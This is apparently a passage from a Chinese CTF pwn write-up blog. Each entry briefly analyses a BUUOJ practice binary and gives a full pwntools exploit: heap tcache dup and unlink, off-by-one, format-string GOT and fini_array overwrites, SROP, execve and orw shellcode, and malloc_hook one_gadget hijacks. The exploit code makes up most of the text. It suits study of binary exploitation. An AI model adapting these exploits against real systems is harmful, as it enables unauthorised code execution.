的地址后,计算出 _IO_2_1_stdin_
的地址, _IO_2_1_stdin_ + 112
即为 flagno 所在位置。此时利用上一步泄露出来的 mainarena。由于存放的 chunk 是处于 unsorted bin 之中,直接分配一个 chunk,并修改低位数据为 flagno 的地址低位。然后 dup。
这里 dup 使用的是小块,上一次 dup 用的是大块。** 因为 dup 后 tcache bin 的计数器会变为 - 1,此时释放堆块,-1 会识别为很大的数,超过 8,释放的堆块便会放入 fastbin,无法利用 tcache dup。** 虽然再多次 free 可以使得计数器变为 0,但没有直接换人方便。
修改好 stdin 的 flagno 之后,直接退出。便完成了 orw。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher3 import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'ciscn_final_2' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29938) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *$rebase(0x1180)') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendafter(b'> ', str(x).encode()) | |
def mal(index, content=0x400): | |
choose(1) | |
p.sendafter(b'\n>', str(index).encode()) | |
p.sendafter(b'number:', str(content).encode()) | |
def free(index): # 1 or 2 | |
choose(2) | |
p.sendafter(b'\n>', str(index).encode()) | |
def dump(index): | |
choose(3) | |
p.sendafter(b'\n>', str(index).encode()) | |
p.recvuntil(b'number :') | |
# 泄露 libc 地址 | |
mal(2) | |
free(2) | |
for i in range(0x16): | |
mal(1, i) | |
mal(1) | |
free(1) | |
# dup 第一步 | |
mal(2) | |
free(1) | |
dump(1) | |
c33u = int(p.recvuntil(b'\n')) | |
c0r = c33u - 0x10 - 0x440 | |
# dup 第二步 | |
mal(1, c0r) | |
mal(1) | |
mal(1, 0x441) | |
# 此时第一个 chunk 为 0x440 大小的 chunk | |
free(2) | |
#泄露 mainarena+96 后计算 | |
dump(2) | |
lma_ = int(p.recvuntil(b'\n')) | |
print('ma_:'+hex(lma_)) | |
mh_a = lma_ - 0x70 | |
obj = LibcSearcher('__malloc_hook',mh_a) | |
libcbase = mh_a - obj.dump('__malloc_hook') | |
io_file = libcbase + obj.dump('_IO_2_1_stdin_') | |
flagno = io_file + 112 | |
print('mh_a:'+hex(mh_a)) | |
print('stdin:'+hex(io_file)) | |
print('c0r:'+hex(c0r)) | |
c3u = c0r + 0x30 + 0x20 + 0x10 | |
fake_fd = c0r + 0x18 | |
# 修改 mainarena 后两位 | |
mal(2, flagno) # for after dup | |
# dup | |
mal(2) | |
free(2) | |
mal(1) | |
free(2) | |
mal(2, fake_fd) | |
mal(2) | |
mal(2) | |
mal(2, 666) | |
choose(4) | |
p.interactive() |
# *PicoCTF_2018_buffer_overflow_0
** 考点:** 调用程序传参,ssh, stack overflow
这题考的是给程序传参。在 pwntools 中,使用 process(argv=['./pwn', payload])
可以将参数传入。
题目将 flag 读入了.bss 段,因此只要构造输出的 rop 链即可。
因为用到程序传参,所以这题需要远程 ssh 登陆靶机后操作。登陆后将 exp 代码复制过去然后执行。
ssh CTFMan@node4.buuoj.cn -p 27087 # 登陆密码 guest |
from pwn import * | |
context(arch='i386', log_level='debug') | |
e=ELF('./vuln') | |
buf = 0x804a060 | |
puts_p = e.plt['puts'] | |
main_a = e.sym['main'] | |
offset = 0x018+4 | |
payload = b'a'*offset + flat([puts_p, main_a, buf]) | |
p=process(argv = ['./vuln', payload]) | |
p.interactive() |
# *lctf2016_pwn200
** 考点:**off_by_one, shellcode, got
**libc 版本:**libc6_2.23
# 分析
没有任何保护。栈可执行。
有两个输入漏洞。
- 第一个是输入名字时,若输入的循环因输入数满 48,则会直接退出,不会添加
'\0'
结束字符。由于之后输出姓名用的是 printf 函数,由此可以将紧邻的 rbp 地址泄露出来。我是不会说我一开始没注意到这个漏洞所以在那修改 got 表凑半天没凑出来的。
- 第二个是输入系统分配的第一个 chunk 时,我们可以多输入 8 字节的数据,刚好覆盖到 dest 变量。该变量储存着我们即将写入的地址,所以可以实现任意地址写入。但是由于是使用 strcpy 将读入的数据复制到地址处,所以要注意输入数据内的
'\0'
。
# 思路
第一步,由于栈可执行,所以输入名字时直接输入 shellcode,然后利用泄露出来的栈地址计算出 shellcode 所在位置。
~~ 由于 shellcode 长度有限,所以这边自己写。~~ 写 wp 的时候才发现生成的 shellcode 刚好为 48 字节,可以直接利用。如果跟我一样手写的时候,记得必须避开所有 '\0'
。
经计算,泄露的地址减去 0x50
即为 shellcode 所在地址。
第二步,将 got 表中 free 的地址修改为 shellcode 所在地址。然后再选择释放块,便可以执行 shellcode 了。想了想,修改 puts 之类的应该夜行?
以下是手打的 shellcode:
#!/usr/bin/python3 | |
from pwn import * | |
context(arch='amd64', log_level='debug') | |
filename = 'pwn200' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26425) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b puts') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
sc = ''' | |
xor rsi, rsi | |
push rsi | |
mov rdx, 0x68732f2f6e69622f | |
push rdx | |
xor rax, rax | |
mov al, 0x3b | |
mov rdi, rsp | |
xor rdx, rdx | |
syscall | |
''' | |
payload = asm(sc) | |
assert len(payload) <= 48 | |
assert not b'\0' in payload | |
payload = payload.ljust(48, b'a') | |
p.sendafter(b'u?\n', payload) | |
p.recvuntil(payload) | |
s1 = u64(p.recvuntil(b',')[:-1].ljust(8,b'\0')) | |
p.sendafter(b'~~?\n', b'1\n') | |
s2 = s1 - 0x50 | |
free_g = e.got['free'] | |
payload = p64(s2) | |
payload = payload.ljust(0x38, b'a') + p64(free_g) | |
p.sendafter(b'money~\n', payload) | |
p.sendlineafter(b'choice : ', b'2') | |
p.interactive() |
以下是生成的 shellcode:
#!/usr/bin/python3 | |
from pwn import * | |
context(arch='amd64', log_level='debug') | |
filename = 'pwn200' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26425) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b puts') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
payload = asm(shellcraft.sh()) | |
assert len(payload) <= 48 | |
assert not b'\0' in payload | |
payload = payload.ljust(48, b'a') | |
p.sendafter(b'u?\n', payload) | |
p.recvuntil(payload) | |
s1 = u64(p.recvuntil(b',')[:-1].ljust(8,b'\0')) | |
p.sendafter(b'~~?\n', b'1\n') | |
s2 = s1 - 0x50 | |
free_g = e.got['free'] | |
payload = p64(s2) | |
payload = payload.ljust(0x38, b'a') + p64(free_g) | |
p.sendafter(b'money~\n', payload) | |
p.sendlineafter(b'choice : ', b'2') | |
p.interactive() |
# *gyctf_2020_signin
经典堆题。
释放函数只会释放 flag 为 1 的,同时释放后 flag 置 0,但不清空地址。编辑函数不检验 flag,因此可以构造 tcache dup,实现任意地址读写。
编辑函数有使用次数限制,cnt 的默认值为 0,因此编辑函数只能使用一次。
重点! calloc
函数不会从 tcache 中获取 chunk,而会从 fastbin 中直接获取。执行后若 tcache bin 中 chunk 个数未满 7,则会将 fastbin 中的 chunk 直接添加到 tcache bin 链开头。不会验证 chunk 合法性。
# 思路
先将 tcache bin 填满,然后释放一个 chunk 到 fastbin 中,修改其内容为 ptr-0x10
。之后分配掉几个 tcache bin 的块。
此时进入后门函数调用 calloc (),那么会分配到 fastbin 中的 chunk,然后将 ptr-0x10 处的 chunk 添加到 tcache bin 头部,将其 fd 修改为旧的 tcache bin 头部。因此 ptr-0x10+0x10
的值便不为 0,可以通过后门函数的验证。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'gyctf_2020_signin' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29224) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *0x4015CD') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'choice?', str(x).encode()) | |
def mal(index): | |
choose(1) | |
p.sendlineafter(b'idx?\n', str(index).encode()) | |
def free(index): | |
choose(3) | |
p.sendlineafter(b'idx?\n', str(index).encode()) | |
def edit(index, content): | |
choose(2) | |
p.sendafter(b'idx?\n', str(index).encode().ljust(0xf,b'\0')) | |
p.send(content) | |
ptr = 0x4040C0 | |
for i in range(8): | |
mal(i) | |
for i in range(8): | |
free(i) | |
edit(7, p64(ptr-0x10)) | |
mal(8) | |
mal(9) | |
choose(6) | |
p.interactive() |
# bjdctf_2020_YDSneedGrirlfriend
** 考点:**uaf, heap
保护:没有 pie 和 got 保护。
经典 note 块管理 content 块的题。将 note 块的前 8 字节修改为后门函数即可。
#!/usr/bin/python3 | |
from pwn import * | |
context(arch='amd64', log_level='debug') | |
filename = 'bjdctf_2020_YDSneedGrirlfriend' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename) if mode else remote('node4.buuoj.cn',28657) | |
if mode==2: | |
gdb.attach(p, 'b ') | |
def choose(x): | |
p.sendlineafter(b'choice :', str(x).encode()) | |
def mal(size, content): | |
choose(1) | |
p.sendlineafter(b'size is :', str(size).encode()) | |
p.sendafter(b'name is :', content) | |
def free(index): | |
choose(2) | |
p.sendlineafter(b'Index :', str(index).encode()) | |
def dump(index): | |
choose(3) | |
p.sendlineafter(b'Index :', str(index).encode()) | |
target = 0x0400B9C | |
mal(0x10, b'666') | |
mal(0x40, b'555') | |
free(0) | |
free(1) | |
mal(0x10, p64(target)) | |
dump(0) | |
p.interactive() |
# suctf_2018_stack
** 考点:**ret2libc, 基础
很基础的题,记得选后门地址时跳过一个 push rbp
以对齐栈帧。
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
#p=process('./SUCTF_2018_stack') | |
p=remote('node4.buuoj.cn',27735) | |
target = 0x40067a | |
offset = 0x020 + 8 | |
payload = offset*b'a' + p64(target) | |
p.send(payload) | |
p.interactive() |
# PicoCTF_2018_are_you_root
** 考点:**uaf, strdup
重点! strdup 会新建一个堆块以复制字符串。
该题会分配一个 0x10 大小的 note chunk 用于管理用户名和权限。用户名是将输入的字符串用 strdup()
复制后将地址写入 note chunk 中。重置账户功能会释放 strdup 分配的 chunk。
因此我们第一次输入的用户名为 0x10 大小,并且在其 + 8 的位置输入 p64(5)
。
这样重置用户然后再次登录,这时管理用户的 note chunk 就会分配为刚刚 strdup 分配的块。由于写入的 5 数据没有被抹除,所以此时账号为权限 5,可以直接读取 flag。
#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
filename = 'PicoCTF_2018_are_you_root'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',25967)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
gdb.attach(p, 'b ')
cmdlist = ['','show','login','set_auth', 'get-flag','reset','quit']
def cmd(index, content=b''):
payload = cmdlist[index].encode() + b' ' + content
p.sendlineafter(b'command:', payload)
cmd(2, b'a'*8+p64(5))
cmd(5)
cmd(2, b'getshell!')
cmd(4)
p.interactive()
# xman_2019_format
** 考点:**fmtstr, 爆破
** 版本:**32 位
存在后门函数。
利用 ebp 作跳板,修改 0xffe16cf8
处的数据为 rip 的地址,然后再修改 rip 为后门函数地址。这样可以只修改一个或两个字节。但是栈上地址是随机的,只能确定地址最后一位为 0xc,倒数第二位爆破即可。
ebp 对应的参数位置。 index=(0xffe16cd8-0xffe16cb0)//4 =0xa=10
6cf8 对应参数位置。 index=(0xffe16cf8-0xffe16cb0)//4 =0x12=18
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
target = 0x80485b4 | |
def fmtstrhh(index, value): | |
payload = '%{}c%{}$hhn'.format(value&0xff, index) | |
return payload.encode() | |
def fmtstrh(index, value): | |
payload = '%{}c%{}$hn'.format(value&0xffff, index) | |
return payload.encode() | |
offset = 0x0 | |
for i in range(0xc, 0x10c, 0x10): | |
try: | |
#p=process('./xman_2019_format_pe') | |
p=remote('node4.buuoj.cn',25040) | |
#gdb.attach(p, 'b printf') | |
print('i:'+hex(i)) | |
p1 = fmtstrhh(10, i) | |
p2 = fmtstrh(18, target) | |
payload = b'|'.join([p1,p2]) | |
p.send(payload) | |
p.interactive() | |
except: | |
p.close() |
可以尝试修改 got 表,但是由于同时修改四字节,输出过多,因此只有本地打得通。
#!/usr/bin/python3 | |
from pwn import * | |
#context(log_level='debug') | |
e=ELF('./xman_2019_format') | |
p=process('./xman_2019_format_pe') | |
#p=remote('node4.buuoj.cn',27985) | |
#gdb.attach(p, 'b printf') | |
printf_g = e.got['printf'] | |
sys_p = e.plt['system'] | |
target = 0x80485AB | |
def fmtstr(index, value): | |
payload = '%{}c%{}$n'.format(value, index) | |
return payload.encode() | |
p1 = fmtstr(10, printf_g) | |
p2 = fmtstr(18, target) | |
p3 = b'getshell' | |
payload = b'|'.join([p1,p2,p3]) | |
p.send(payload) | |
p.interactive() |
# *ciscn_2019_sw_1
考点: fmtstr, fini_array
** 版本:**libc6_2.27 amd64
只开启了 nx 保护,所以可以知道任何程序本身的地址。
从第 4 个参数开始为字符串所在位置。
该程序只有一次执行格式化漏洞的机会,而栈上已有地址也没有啥能利用的。
该版本下,主函数执行完, __libc_start_main
函数会执行一次 fini_array。所以虽然不知道栈上地址以至于不能修改 rip 地址,但可以利用 fini_array 跳转到任意地址。
原先想跳转到后门函数 _sys
的,但其利用的参数 command
为常量不可读写,所以最后采用在修改 fini_array 的同时修改 printf 的 got 表为 system 的 plt 地址,在 fini_array 跳转到 main 函数时便获得了第二次利用 printf 的机会。此时输入 /bin/sh
便可以 getshell。
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
e=ELF('./ciscn_2019_sw_1') | |
p=process('./ciscn_2019_sw_1_pe') | |
#p=remote('node4.buuoj.cn',29536) | |
#gdb.attach(p, 'b printf') | |
backdoor = 0x0804851B | |
cmd = 0x08048640 | |
fini = 0x0804979C | |
printf_g = e.got['printf'] | |
sys_p = e.plt['system'] | |
main_a = e.sym['main'] | |
print(hex(main_a)) | |
payload = fmtstr_payload(4,{printf_g:sys_p, fini:p16(main_a&0xffff)},write_size='short') | |
p.sendlineafter(b'name?\n', payload) | |
p.sendlineafter(b'name?\n', b'/bin/sh') | |
p.interactive() |
这里覆盖 fini_array 的地址覆盖低二位字节就好。

# hitcon_2018_children_tcache
** 考点:**tcache dup, overlap extend, null byte off by one
** 版本:**libc6_2.27
保护全开。free 后清空地址。
程序用 strcpy 将字符串复制到块上,存在 null byte off by one 漏洞。在两个大 chunk 中夹一个小 chunk,利用小 chunk 修改大 chunk 的 inuse 标志,使得释放后能构成块重叠。
由于用的是 strcpy 复制的字符串,因此遇到 '\0'
便会停止,同时每次 free 时都会根据 malloc 时用户输入的 size 将 chunk 用 '\xba'
填充,因此需要逐步设置最后属于 prevsize 的 8 个字节。
构造块重叠后,先后将头尾两个大 chunk 释放,此时会合并两个 chunk 为一个,而小 chunk 位于中间。这时候分配与原先第二个 chunk 大小相同的 chunk,这时候 unsorted chunk 的开头便与小 chunk 开头重叠,这时候输出小 chunk,便可以泄露 mainarena 地址。
随后修改 malloc_hook 为 one_gadget 地址便可。
one_gadget 选第二个或第三个均可。


#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'HITCON_2018_children_tcache' | |
libcfile = '/home/walt/ctftools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',25532) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *$rebase(0x00FDF)') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'choice: ', str(x).encode()) | |
def mal(size, content=b'aaaa'): | |
choose(1) | |
p.sendlineafter(b'Size:', str(size).encode()) | |
p.sendafter(b'Data:', content) | |
def free(index): | |
choose(3) | |
p.sendlineafter(b'Index:', str(index).encode()) | |
def dump(index): | |
choose(2) | |
p.sendlineafter(b'Index:', str(index).encode()) | |
mal(0x18) | |
mal(0x418) | |
mal(0x18) #2 | |
mal(0x4f8) | |
mal(0x18) | |
free(1) | |
free(2) | |
for i in range(0x18, 0x10, -1): | |
mal(i, b'a'*i) | |
free(1) | |
mal(0x12, b'a'*0x10 + p16(0x440)) | |
free(3) | |
mal(0x418) #2 (1) | |
dump(1) | |
ma_ = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0')) | |
mh_a = ma_-96 -0x10 | |
print('mallochook:'+hex(mh_a)) | |
obj = LibcSearcher('__malloc_hook', mh_a) | |
obj.dump('system') | |
libcbase = mh_a - libc.sym['__malloc_hook'] | |
print('base:'+hex(libcbase)) | |
oglist = [0x4f2c5, 0x4f322, 0x10a38c] | |
onegadget = oglist[1] + libcbase | |
mal(0x18, b'\0') #3 | |
free(1) | |
free(3) | |
mal(0x18, p64(mh_a)) | |
mal(0x18) | |
mal(0x18, p64(onegadget)) | |
choose(1) | |
p.sendlineafter(b'Size:',b'0') | |
suspend() | |
p.interactive() |
# hgame2018_flag_server
ctypes 导入,直接同步算得随机值。
# [BSidesCF 2019]Runit
基础 shellcode
# gyctf_2020_some_thing_interesting
** 考点:**fastbin attack, malloc_hook, fmtstr
开局有一次利用格式化字符串漏洞的机会,不过必须保证输入的前几位为指定字符串,否则会直接退出。因此只有 5 个字符可供利用,刚好泄露一个 libc 地址。
然后利用 0x7f 在 malloc_hook 附近分配 chunk,修改其为 one_gadget。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher3 import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'gyctf_2020_some_thing_interesting' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29877) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *$rebase(0x15BA)') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'do :', str(x).encode()) | |
def mal(size1, size2, content1=b'aaaa', content2=b'bbbb'): | |
choose(1) | |
p.sendlineafter(b'length : ', str(size1).encode()) | |
p.sendafter(b'O : ', content1) | |
p.sendlineafter(b'length : ', str(size2).encode()) | |
p.sendafter(b'RE : ', content2) | |
def free(index): | |
choose(3) | |
p.sendlineafter(b'ID : ', str(index).encode()) | |
def edit(index, content1, content2): | |
choose(2) | |
p.sendlineafter(b'ID : ', str(index).encode()) | |
p.sendafter(b'O : ', content1) | |
p.sendafter(b'RE : ', content2) | |
def dump(index): | |
choose(4) | |
p.sendlineafter(b'ID : ', str(index).encode()) | |
checkstr = b'OreOOrereOOreO' | |
p.sendafter(b'please:', checkstr+b'%17$p') | |
choose(0) | |
p.recvuntil(checkstr) | |
lsm_a = int(p.recvuntil(b'\n'),16) - 240 | |
obj = LibcSearcher('__libc_start_main',lsm_a) | |
libcbase = lsm_a - obj.dump('__libc_start_main') | |
mh_a = libcbase + obj.dump('__malloc_hook') | |
oglist = [0x45216, 0x4526a, 0xf02a4, 0xf1147] | |
onegadget = oglist[3] + libcbase | |
mal(0x68, 0x38) | |
free(1) | |
edit(1, p64(mh_a-0x23), p64(0)) | |
mal(0x68, 0x68, b'hahahaha', b'\0'*0x13+p64(onegadget)) | |
choose(1) | |
p.sendlineafter(b'length : ', b'1') | |
p.interactive() |
# zctf_2016_note3
** 考点:** 条件判断漏洞,unlink
** 版本:**libc6_2.23 amd64
保护只开了 nx 和 canary,程序的地址可利用。
输入函数存在漏洞,当传入的大小为 0 时,size-1 会被判为无限大,从而可以实现任意长度输入。
利用该漏洞覆盖 size 的 inuse 部分,构造 unlink。
由于 malloc(0)
默认分配 0x20 的 chunk,而 unlink 所需的两个 chunk 至少要容纳 6 个字长,因此将 0x20 的 chunk 放在大 chunk 之间或者前面均可。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'zctf_2016_note3' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29786) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *0x0400D47') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'>>\n', str(x).encode()) | |
def mal(size, content=b'aaaa'): | |
choose(1) | |
p.sendlineafter(b'1024)\n', str(size).encode()) | |
p.sendlineafter(b'content:\n', content) | |
def free(index): | |
choose(4) | |
p.sendlineafter(b'note:\n', str(index).encode()) | |
def edit(index, content): | |
choose(3) | |
p.sendlineafter(b'note:\n', str(index).encode()) | |
p.sendlineafter(b'content:\n', content) | |
ptr = 0x6020C8 | |
c3r = ptr+3*8 | |
free_g = e.got['free'] | |
puts_p = e.plt['puts'] | |
lsm_g = e.got['__libc_start_main'] | |
mal(0x18) | |
mal(0x18, b'/bin/sh\0') | |
mal(0x18) | |
payload = flat([0, 0x91, c3r-0x18, c3r-0x10]) | |
mal(0x78, payload) #3 | |
mal(0) | |
mal(0x98) | |
mal(0x18) | |
payload = b'a'*0x10 + p64(0x90) + p32(0xa0) | |
edit(4, payload) #4 | |
free(5) | |
def change(target, value): | |
edit(3, p64(target)[:-1]) | |
edit(0, p64(value)[:-1]) | |
# 3-> 0 | |
change(free_g, puts_p) | |
edit(3, p64(lsm_g)[:-1]) | |
free(0) | |
lsm_a = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0')) | |
obj = LibcSearcher('__libc_start_main', lsm_a) | |
libcbase = lsm_a - obj.dump('__libc_start_main') | |
sys_a = libcbase + obj.dump('system') | |
change(free_g, sys_a) | |
free(1) | |
p.interactive() |
# pwnable_asm
** 考点:**shellcode, orw
保护:
存在沙盒保护,只能使用 orw 三个系统调用。
输入没有限制,所以直接 orw。
这边执行 shellcode 前会清空除了 rsp 以外的寄存器,所以这边将读入的 flag 放在 rsp-0x100 的地方。
#!/usr/bin/python3 | |
from pwn import * | |
context(arch='amd64', log_level='debug') | |
#p=process('./asm') | |
p=remote('node4.buuoj.cn',28437) | |
#gdb.attach(p, 'b read') | |
assem = ''' | |
mov rdx, {} | |
push 0 | |
push rdx | |
mov rdi, rsp | |
xor rsi, rsi | |
xor rdx, rdx | |
mov rax, 0x2 | |
syscall | |
mov rdi, 3 | |
mov rsi, rsp | |
add rsi, 0x100 | |
mov rdx, 0x30 | |
xor rax, rax | |
syscall | |
mov rdi, 1 | |
mov rax, 1 | |
syscall | |
'''.format(u32(b'flag')) | |
p.sendafter(b'shellcode: ',asm(assem)) | |
p.interactive() |
# rootersctf_2019_srop
** 考点:**srop
程序非常简单。可输入的字符串长度很大。
题目没有直接调用 0xf 系统调用号的代码。但是程序在调用 read 系统调用时用的 push 0; pop rax
,我们可以利用这个 pop rax
以及构造 rop chain 实现 0xf 系统调用。
vmmap 查看可读写地址段,将栈迁移至 0x402900 处即可。
一次 read 的 sigreturn,一次 execve 的 sigreturn。
#!/usr/bin/python3 | |
from pwn import * | |
context(log_level='debug') | |
context.arch='amd64' | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./rootersctf_2019_srop') if mode else remote('node4.buuoj.cn',26979) | |
if mode==2: | |
gdb.attach(p, 'b *0x40101f') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
offset = 0x080+8 | |
buf = 0x402900 | |
popsys = 0x401032 | |
syscall = 0x401033 | |
sig = SigreturnFrame() | |
sig.rax = 0 | |
sig.rdi = 0 | |
sig.rsi = buf | |
sig.rdx = 0x300 | |
sig.rip = syscall | |
sig.rsp = buf | |
sig.rbp = buf | |
payload = b'a'*offset + p64(popsys) + p64(0xf) + bytes(sig) | |
p.send(payload) | |
suspend() | |
sig = SigreturnFrame() | |
sig.rax = 0x3b | |
sig.rdi = buf+0x200 | |
sig.rsi = 0 | |
sig.rdx = 0 | |
sig.rip = syscall | |
sig.rsp = buf | |
sig.rbp = buf | |
payload = p64(buf) + p64(popsys) + p64(0xf) + bytes(sig) | |
payload = payload.ljust(0x200, b'a') + b'/bin/sh\0' | |
p.send(payload) | |
p.interactive() |
# houseoforange_hitcon_2016
0x7f8c6dbc56f8
0x7F8C6DBC5188
0x55DB6664B161
1:0x7fd82bbc5188
2:0x5639f58c6161
0x00005639f58e8000
0x7fd82bbc56f8
# gyctf_2020_document
考点: overlap, heap
** 版本:**libc-2.23_amd64
这题保护全开。
分配函数固定分配两个 chunk,分别为 0x8(0x20)
和 0x80(0x90)
的 chunk。0x8 的 chunk 储存 0x80chunk
的指针。结构大致如以下注释。
而 edit 函数允许编辑一次 0x80chunk
,是否编辑过取决于 0x8chunk
内 + 8 处的值。可以选择修改 + 8 处的值为固定的 0x10 或 0x1,或者 + 16 处任意写入 0x70 字节。
释放函数只释放了 0x80chunk
,并且没有清空地址。0x90 的 chunk 属于 unsortbin
的范围。
# 思路
分配函数后释放,然后利用输出函数泄露 unsortbin chunk
的 mainarena
地址。由此计算出 one_gadget
和 __malloc_hook
的地址。
然后继续分配 2 次。由于先分配的 0x8chunk
,会将刚刚释放的 chunk 分割。而此时再对第一次分配的 chunk 执行编辑函数,就可以修改该 0x8chunk
,从而可以利用编辑函数实现任意地址读写。
老方法,修改 __malloc_hook
为 one_gadget
。这题需要 realloc
进行跳板,并且需要调整进入 realloc
函数的位置。
调用 realloc
前栈顶为 0xb2c8
位置,而 realloc
调用 one_gadget
时 esp+0x70
正好指向 0xb2c8
,因此只需要少 push 4 个数,让 esp+0x70
指向 0xb2e8
即可。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'gyctf_2020_document' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',27819) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *$rebase(0x1207)') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'choice : \n', str(x).encode()) | |
def mal(name=b'/bin/sh\0', sex=b'W', content=b'a'*0x70): | |
choose(1) | |
p.sendafter(b'input name\n', name) | |
p.sendafter(b'input sex\n', sex) | |
p.sendafter(b'input information\n', content) | |
def free(index): | |
choose(4) | |
p.sendlineafter(b'Give me your index : \n', str(index).encode()) | |
def edit(index, content, sex=0): | |
choose(3) | |
p.sendlineafter(b'Give me your index : \n', str(index).encode()) | |
p.sendlineafter(b'change sex?\n', b'Y'if sex else b'N') | |
p.sendafter(b'information\n', content.ljust(0x70, b'\0')) | |
def dump(index): | |
choose(2) | |
p.sendlineafter(b'Give me your index : \n', str(index).encode()) | |
mal() | |
mal() | |
free(0) | |
dump(0) | |
ma_ = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0')) | |
mh_a = ma_ - 0x68 | |
print('mh_a:'+hex(mh_a)) | |
libcbase = mh_a - libc.sym['__malloc_hook'] | |
realloc_a = libcbase + libc.sym['realloc'] | |
oglist = [0x45216, 0x4526a, 0xf02a4, 0xf1147] | |
onegadget = libcbase + oglist[3] | |
mal() | |
mal() #3 | |
edit(0, flat([0,0x21, mh_a-0x18, 0x10])) | |
edit(3, p64(onegadget)+p64(realloc_a+8 )) | |
choose(1) | |
p.interactive() |
# *ciscn_2019_final_5
** 考点:** 临界条件,overlap, unlink, tcache dup?
** 版本:**libc-2.27_3ubuntu1_amd64
这题算是很有特色的一题。首先保护未全开,pie 未开,relro 未开,可以利用 got 表。
总所周知,堆块的分配会进行对齐,因此其地址低三位将固定为 0。而 chunk 头部的 size 也被系统用来存放包括前块 inuse 等的状态码。对于 64 位系统,chunk 是以 0x10 的大小增长,所以二进制第 4 位也为 0 了。
这道题则是利用这一点,将 chunk 的编号与 chunk 的地址存放在同一个 64 位整数,低 4 位则为编号。因为只有 4 位二进制可供利用,所以其编号范围即为 0~15,每次程序调用块时,会根据用户输入的编号与地址数组中每个元素的低 4 位进行比较,若相同则选中其并操作。
编号仅能为 0~15,程序因此有对输入的编号进行检测,但漏洞也就出在这。分配函数中的检测不严谨,只当 index>0x11
